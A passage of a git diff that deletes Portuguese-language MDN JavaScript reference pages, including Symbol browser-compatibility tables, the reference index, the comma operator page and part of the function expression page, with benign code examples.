-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-symbol-objects', 'Symbol')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoDesktop(36)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.iterator (@@iterator)</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoDesktop(36)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.unscopables (@@unscopables)</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoDesktop(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.match (@@match)</td>
- <td>{{CompatChrome(50)}}</td>
- <td>{{CompatGeckoDesktop(40)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.species (@@species)</td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{CompatGeckoDesktop(41)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.toPrimitive (@@toPrimitive)</td>
- <td>{{CompatChrome(48)}}</td>
- <td>{{CompatGeckoDesktop(44)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.replace (@@replace)</td>
- <td>{{CompatChrome(50)}}</td>
- <td>{{CompatGeckoDesktop(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.search (@@search)</td>
- <td>{{CompatChrome(50)}}</td>
- <td>{{CompatGeckoDesktop(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.split (@@split)</td>
- <td>{{CompatChrome(50)}}</td>
- <td>{{CompatGeckoDesktop(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.isConcatSpreadable (@@isconcatspreadable)</td>
- <td>{{CompatChrome(48)}}</td>
- <td>{{CompatGeckoDesktop(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.hasInstance (@@hasInstance)</td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{CompatGeckoDesktop(50)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.toStringTag (@@toStringTag)</td>
- <td>{{CompatChrome(49)}}</td>
- <td>{{CompatGeckoDesktop(51)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoMobile(36)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.iterator (@@iterator)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoMobile(36)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.unscopables (@@unscopables)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(38)}}</td>
- <td>{{CompatGeckoMobile(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>9</td>
- </tr>
- <tr>
- <td>Symbol.match (@@match)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(40)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.species (@@species)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(41)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.toPrimitive (@@toPrimitive)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(44)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.replace (@@replace)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.search (@@search)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.split (@@split)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.isConcatSpreadable (@@isconcatspreadable)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(48)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.hasInstance (@@hasInstance)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(50)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Symbol.toStringTag (@@toStringTag)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(51)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Glossary/Symbol">Glossary: Symbol data type</a></li>
- <li>{{jsxref("Operators/typeof", "typeof")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
- <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/index.html b/files/pt-pt/web/javascript/reference/index.html
deleted file mode 100644
index aa2f94e880..0000000000
--- a/files/pt-pt/web/javascript/reference/index.html
+++ /dev/null
@@ -1,307 +0,0 @@
----
-title: Referência de JavaScript
-slug: Web/JavaScript/Reference
-tags:
- - ECMAScript6
- - ES6
- - 'I10n:priority'
- - JS
- - JavaScript
- - Programação
- - Página Landing
- - Referencia
- - es
-translation_of: Web/JavaScript/Reference
----
-<div>{{JsSidebar}}</div>
-
-<p>Esta parte da secção de JavaScript na MDN serve como um repositório de factos sobre a linguage JavaScript. Leia mais <a href="/pt-PT/docs/Web/JavaScript/Reference/Sobre">sobre esta referência</a>.</p>
-
-<h2 id="Integrações">Integrações</h2>
-
-<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">Objetos integrados padrões de JavaScript</a>, em conjunto com os seus métodos e propriedades.</p>
-
-<ul class="card-grid">
- <li><span>Propriedades de Valor</span>
-
- <p>{{JSxRef("Infinity")}}<br>
- {{JSxRef("NaN")}}<br>
- {{JSxRef("undefined")}}<br>
- {{JSxRef("globalThis")}}</p>
- </li>
- <li><span>Propriedades de Função</span>
- <p>{{JSxRef("Global_Objects/eval", "eval()")}}<br>
- {{JSxRef("Global_Objects/isFinite", "isFinite()")}}<br>
- {{JSxRef("Global_Objects/isNaN", "isNaN()")}}<br>
- {{JSxRef("Global_Objects/parseFloat", "parseFloat()")}}<br>
- {{JSxRef("Global_Objects/parseInt", "parseInt()")}}<br>
- {{JSxRef("Global_Objects/decodeURI", "decodeURI()")}}<br>
- {{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}<br>
- {{JSxRef("Global_Objects/encodeURI", "encodeURI()")}}<br>
- {{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</p>
- </li>
- <li><span>Objetos Fundamentais</span>
- <p>{{JSxRef("Object")}}<br>
- {{JSxRef("Function")}}<br>
- {{JSxRef("Boolean")}}<br>
- {{JSxRef("Symbol")}}</p>
- </li>
- <li><span>Objetos de Erro</span>
- <p>{{JSxRef("Error")}}<br>
- {{JSxRef("AggregateError")}}<br>
- {{JSxRef("EvalError")}}<br>
- {{JSxRef("InternalError")}}<br>
- {{JSxRef("RangeError")}}<br>
- {{JSxRef("ReferenceError")}}<br>
- {{JSxRef("SyntaxError")}}<br>
- {{JSxRef("TypeError")}}<br>
- {{JSxRef("URIError")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>Números e Datas</span>
-
- <p>{{JSxRef("Number")}}<br>
- {{JSxRef("BigInt")}}<br>
- {{JSxRef("Math")}}<br>
- {{JSxRef("Date")}}</p>
- </li>
- <li><span>Processamento de Texto</span>
- <p>{{JSxRef("String")}}<br>
- {{JSxRef("RegExp")}}</p>
- </li>
- <li><span>Coleções Indexadas</span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> </a>{{JSxRef("Array")}}<br>
- {{JSxRef("Int8Array")}}<br>
- {{JSxRef("Uint8Array")}}<br>
- {{JSxRef("Uint8ClampedArray")}}<br>
- {{JSxRef("Int16Array")}}<br>
- {{JSxRef("Uint16Array")}}<br>
- {{JSxRef("Int32Array")}}<br>
- {{JSxRef("Uint32Array")}}<br>
- {{JSxRef("Float32Array")}}<br>
- {{JSxRef("Float64Array")}}<br>
- {{JSxRef("BigInt64Array")}}<br>
- {{JSxRef("BigUint64Array")}}</li>
- <li><span>Coleções ''Keyed''</span>
- <p>{{JSxRef("Map")}}<br>
- {{JSxRef("Set")}}<br>
- {{JSxRef("WeakMap")}}<br>
- {{JSxRef("WeakSet")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>Dados Estruturados</span>
-
- <p>{{JSxRef("ArrayBuffer")}}<br>
- {{JSxRef("SharedArrayBuffer")}}<br>
- {{JSxRef("Atomics")}}<br>
- {{JSxRef("DataView")}}<br>
- {{JSxRef("JSON")}}</p>
- </li>
- <li><span>Abstração de Controlo</span>
- <p>{{JSxRef("Promise")}}<br>
- {{JSxRef("Generator")}}<br>
- {{JSxRef("GeneratorFunction")}}<br>
- {{JSxRef("AsyncFunction")}}</p>
- </li>
- <li><span>Reflexão</span>
- <p>{{JSxRef("Reflect")}}<br>
- {{JSxRef("Proxy")}}</p>
- </li>
- <li><span>Internacionalização</span>
- <p>{{JSxRef("Intl")}}<br>
- {{JSxRef("Global_Objects/Collator", "Intl.Collator")}}<br>
- {{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}<br>
- {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}<br>
- {{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}}<br>
- {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}<br>
- {{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}<br>
- {{JSxRef("Global_Objects/Locale", "Intl.Locale")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>WebAssembly</span>
-
- <p>{{JSxRef("WebAssembly")}}<br>
- {{JSxRef("WebAssembly.Module")}}<br>
- {{JSxRef("WebAssembly.Instance")}}<br>
- {{JSxRef("WebAssembly.Memory")}}<br>
- {{JSxRef("WebAssembly.Table")}}<br>
- {{JSxRef("WebAssembly.CompileError")}}<br>
- {{JSxRef("WebAssembly.LinkError")}}<br>
- {{JSxRef("WebAssembly.RuntimeError")}}</p>
- </li>
-</ul>
-
-<h2 id="Declações_Statements">Declações (Statements)</h2>
-
-<p><a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações">Declarações e instruções de JavaScript</a></p>
-
-<ul class="card-grid">
- <li><span>Control flow</span>{{jsxref("Statements/block", "Block")}}<br>
- {{jsxref("Statements/break", "break")}}<br>
- {{jsxref("Statements/continue", "continue")}}<br>
- {{jsxref("Statements/Empty", "Empty")}}<br>
- {{jsxref("Statements/if...else", "if...else")}}<br>
- {{jsxref("Statements/switch", "switch")}}<br>
- {{jsxref("Statements/throw", "throw")}}<br>
- {{jsxref("Statements/try...catch", "try...catch")}}</li>
- <li><span>Declarations</span>
- <p>{{jsxref("Statements/var", "var")}}<br>
- {{jsxref("Statements/let", "let")}}<br>
- {{jsxref("Statements/const", "const")}}</p>
- </li>
- <li><span>Functions and classes</span>
- <p>{{jsxref("Statements/function", "function")}}<br>
- {{jsxref("Statements/function*", "function*")}}<br>
- {{jsxref("Statements/async_function", "async function")}}<br>
- {{jsxref("Statements/return", "return")}}<br>
- {{jsxref("Statements/class", "class")}}</p>
- </li>
- <li><span>Iterations</span>
- <p>{{jsxref("Statements/do...while", "do...while")}}<br>
- {{jsxref("Statements/for", "for")}}<br>
- {{jsxref("Statements/for_each...in", "for each...in")}}<br>
- {{jsxref("Statements/for...in", "for...in")}}<br>
- {{jsxref("Statements/for...of", "for...of")}}<br>
- {{jsxref("Statements/for-await...of", "for await...of")}}<br>
- {{jsxref("Statements/while", "while")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>Outros</span>
-
- <p>{{jsxref("Statements/debugger", "debugger")}}<br>
- {{jsxref("Statements/import", "import")}}<br>
- {{jsxref("Statements/label", "label")}}<br>
- {{jsxref("Statements/with", "with")}}</p>
- </li>
-</ul>
-
-<h2 id="Expressões_e_operadores">Expressões e operadores</h2>
-
-<p><a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores">Expressões e operadores de JavaScript</a>. </p>
-
-<div>
-<ul class="card-grid">
- <li><span>Primary expressions</span>{{JSxRef("Operators/this", "this")}}<br>
- {{JSxRef("Operators/function", "function")}}<br>
- {{JSxRef("Operators/class", "class")}}<br>
- {{JSxRef("Operators/function*", "function*")}}<br>
- {{JSxRef("Operators/yield", "yield")}}<br>
- {{JSxRef("Operators/yield*", "yield*")}}<br>
- {{JSxRef("Operators/async_function", "async function")}}<br>
- {{JSxRef("Operators/await", "await")}}<br>
- {{JSxRef("Global_Objects/Array", "[]")}}<br>
- {{JSxRef("Operators/Object_initializer", "{}")}}<br>
- {{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}<br>
- {{JSxRef("Operators/Grouping", "( )")}}<br>
- {{JSxRef("null")}}</li>
- <li><span>Left-hand-side expressions</span>
- <p>{{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}}<br>
- {{JSxRef("Operators/new", "new")}}<br>
- {{JSxRef("Operators/new%2Etarget", "new.target")}}<br>
- {{JSxRef("Operators/super", "super")}}<br>
- {{JSxRef("Operators/Spread_syntax", "...obj")}}</p>
- </li>
- <li><span>Increment &amp; decrement</span>
- <p>{{JSxRef("Operators/Arithmetic_Operators", "A++", "#Increment")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "A--", "#Decrement")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "++A", "#Increment")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</p>
- </li>
- <li><span>Unary operators</span>
- <p>{{JSxRef("Operators/delete", "delete")}}<br>
- {{JSxRef("Operators/void", "void")}}<br>
- {{JSxRef("Operators/typeof", "typeof")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}<br>
- {{JSxRef("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}<br>
- {{JSxRef("Operators/Logical_Operators", "!", "#Logical_NOT")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>Arithmetic operators</span>
-
- <p>{{JSxRef("Operators/Arithmetic_Operators", "+", "#Addition")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "-", "#Subtraction")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "/", "#Division")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "*", "#Multiplication")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "%", "#Remainder")}}<br>
- {{JSxRef("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}</p>
- </li>
- <li><span>Relational operators</span>
- <p>{{JSxRef("Operators/in", "in")}}<br>
- {{JSxRef("Operators/instanceof", "instanceof")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</p>
- </li>
- <li><span>Equality operators</span>
- <p>{{JSxRef("Operators/Comparison_Operators", "==", "#Equality")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "!=", "#Inequality")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "===", "#Identity")}}<br>
- {{JSxRef("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</p>
- </li>
- <li><span>Bitwise shift operators</span>
- <p>{{JSxRef("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}<br>
- {{JSxRef("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}<br>
- {{JSxRef("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span>Binary bitwise operators</span>{{JSxRef("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}<br>
- {{JSxRef("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}<br>
- {{JSxRef("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</li>
- <li><span>Binary logical operators</span>
- <p>{{JSxRef("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}<br>
- {{JSxRef("Operators/Logical_Operators", "||", "#Logical_OR")}}</p>
- </li>
- <li><span>Ternary operator</span>
- <p>{{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</p>
- </li>
- <li><span>Assignment operators</span>
- <p>{{JSxRef("Operators/Assignment_Operators", "=", "#Assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "/=", "#Division_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}<br>
- {{JSxRef("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}<br>
- {{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
- {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</p>
- </li>
-</ul>
-</div>
-
-<h2 id="Funções">Funções</h2>
-
-<p>This chapter documents how to work with <a href="/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript functions</a> to develop your applications.</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Funcoes/arguments"><code>argumentos (arguments)</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a></li>
-</ul>
-
-<h2 id="Páginas_adicionais_de_referência">Páginas adicionais de referência</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated features</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/operators/comma_operator/index.html b/files/pt-pt/web/javascript/reference/operators/comma_operator/index.html
deleted file mode 100644
index fd3d1ab53c..0000000000
--- a/files/pt-pt/web/javascript/reference/operators/comma_operator/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Operador Vírgula
-slug: Web/JavaScript/Reference/Operators/Comma_Operator
-tags:
- - Composto
- - Expressão
- - Funcionalidade de Linguagem
- - JavaScript
- - Operador
- - Referencia
- - Vírgula
-translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
-original_slug: Web/JavaScript/Reference/Operadores/Operador_virgula
----
-<div>Operador {{jsSidebar("Operators")}}</div>
-
-<p>O <strong>operador vírgula </strong>(<strong><code>,</code></strong>) avalia cada um dos seus operandos (da esquerda para a direita) e devolve o valor do último operando. This lets you create a compound expression in which multiple expressions are evaluated, with the compound expression's final value being the value of the rightmost of its member expressions. This is commonly used to provide multiple parameters to a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> loop.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>expr1</code>, <code>expr2</code>, <code>expr3</code>...</dt>
- <dd>One or more expressions, the last of which is returned as the value of the compound expression.</dd>
-</dl>
-
-<h2 id="Notas_de_utilização">Notas de utilização</h2>
-
-<p>You can use the comma operator when you want to include multiple expressions in a location that requires a single expression. The most common usage of this operator is to supply multiple parameters in a <code>for</code> loop.</p>
-
-<p>The comma operator is fully different from the comma within arrays, objects, and function arguments and parameters.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>If <code>a</code> is a 2-dimensional array with 10 elements on each side, the following code uses the comma operator to increment <code>i</code> and decrement <code>j</code> at once.</p>
-
-<p>The following code prints the values of the diagonal elements in the array:</p>
-
-<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
- console.log('a[' + i + '][' + j + '] = ' + a[i][j]);</pre>
-
-<p>Note that the comma operators in assignments may appear not to have the normal effect of comma operators because they don't exist within an expression. In the following example, <code>a</code> is set to the value of <code>b = 3</code> (which is 3), but the <code>c = 4</code> expression still evaluates and its result returned to console (i.e., 4). This is due to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence and associativity</a>.</p>
-
-<pre class="brush: js">var a, b, c;
-
-a = b = 3, c = 4; // Returns 4 in console
-console.log(a); // 3 (left-most)
-
-var x, y, z;
-
-x = (y = 5, z = 6); // Returns 6 in console
-console.log(x); // 6 (right-most)
-</pre>
-
-<h3 id="Processing_and_then_returning">Processing and then returning</h3>
-
-<p>Another example that one could make with comma operator is processing before returning. As stated, only the last element will be returned but all others are going to be evaluated as well. So, one could do:</p>
-
-<pre class="brush: js">function myFunc() {
- var x = 0;
-
- return (x += 1, x); // the same as return ++x;
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.operators.comma")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>Repetição (<em>loop</em>) de <a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/for"><code>for</code> </a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/operators/function/index.html b/files/pt-pt/web/javascript/reference/operators/function/index.html
deleted file mode 100644
index fe2858c796..0000000000
--- a/files/pt-pt/web/javascript/reference/operators/function/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: Expressão função (Function expression)
-slug: Web/JavaScript/Reference/Operators/function
-tags:
- - Expressões Primárias
- - Funiconaldiade de Linguagem
- - Função
- - JavaScript
- - Operador
-translation_of: Web/JavaScript/Reference/Operators/function
-original_slug: Web/JavaScript/Reference/Operadores/função
----
-<div>{{jsSidebar("Operators")}}</div>
-
-<p>A palavra-chave <strong><code>function</code></strong>  pode ser utilziada para definir uma função dentro de uma expressão.</p>
-
-<p>You can also define functions using the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a> constructor and a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function"><code>function declaration</code></a>.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html", "shorter")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">let <var>myFunction</var> = function [<var>name</var>]([<var>param1</var>[, <var>param2[</var>, ..., <var>paramN</var>]]]) {
- <var>statements</var>
-};</pre>
-
-<p>As of ES2015, you can also use {{jsxref("Functions/Arrow_functions", "arrow functions")}}.</p>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code><var>name</var></code> {{optional_inline}}</dt>
- <dd>The function name. Can be omitted, in which case the function is <em>anonymous</em>. The name is only local to the function body.</dd>
- <dt><code><var>paramN</var></code> {{optional_inline}}</dt>
- <dd>The name of an argument to be passed to the function.</dd>
- <dt><code><var>statements</var></code> {{optional_inline}}</dt>
- <dd>The statements which comprise the body of the function.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A function expression is very similar to and has almost the same syntax as a function declaration (see {{jsxref("Statements/function", "function statement")}} for details). The main difference between a function expression and a function declaration is the <em>function name</em>, which can be omitted in function expressions to create <em>anonymous</em> functions. A function expression can be used as an <a href="/en-US/docs/Glossary/IIFE">IIFE (Immediately Invoked Function Expression)</a> which runs as soon as it is defined. See also the chapter about {{jsxref("Functions", "functions")}} for more information.</p>
-
-<h3 id="Function_expression_hoisting">Function expression hoisting</h3>
-
-<p>Function expressions in JavaScript are not hoisted, unlike {{jsxref("Statements/function", "function declarations", "#Function_declaration_hoisting")}}. You can't use function expressions before you define them:</p>
-
-<pre class="brush: js">console.log(notHoisted) // undefined
-// even though the variable name is hoisted, the definition isn't. so it's undefined.
-notHoisted(); // TypeError: notHoisted is not a function
-
-var notHoisted = function() {
- console.log('bar');
-};
-</pre>
-
-<h3 id="Named_function_expression">Named function expression</h3>
-
-<p>If you want to refer to the current function inside the function body, you need to create a named function expression. <u><strong>This name is then local only to the function body (scope)</strong></u>. This also avoids using the non-standard {{jsxref("Functions/arguments/callee", "arguments.callee")}} property.</p>
-
-<pre class="brush: js">let math = {
- 'factit': function factorial(n) {
- console.log(n)
- if (n &lt;= 1) {
- return 1;
- }
- return n * factorial(n - 1);
- }
-};
-
-math.factit(3) //3;2;1;
-</pre>
-
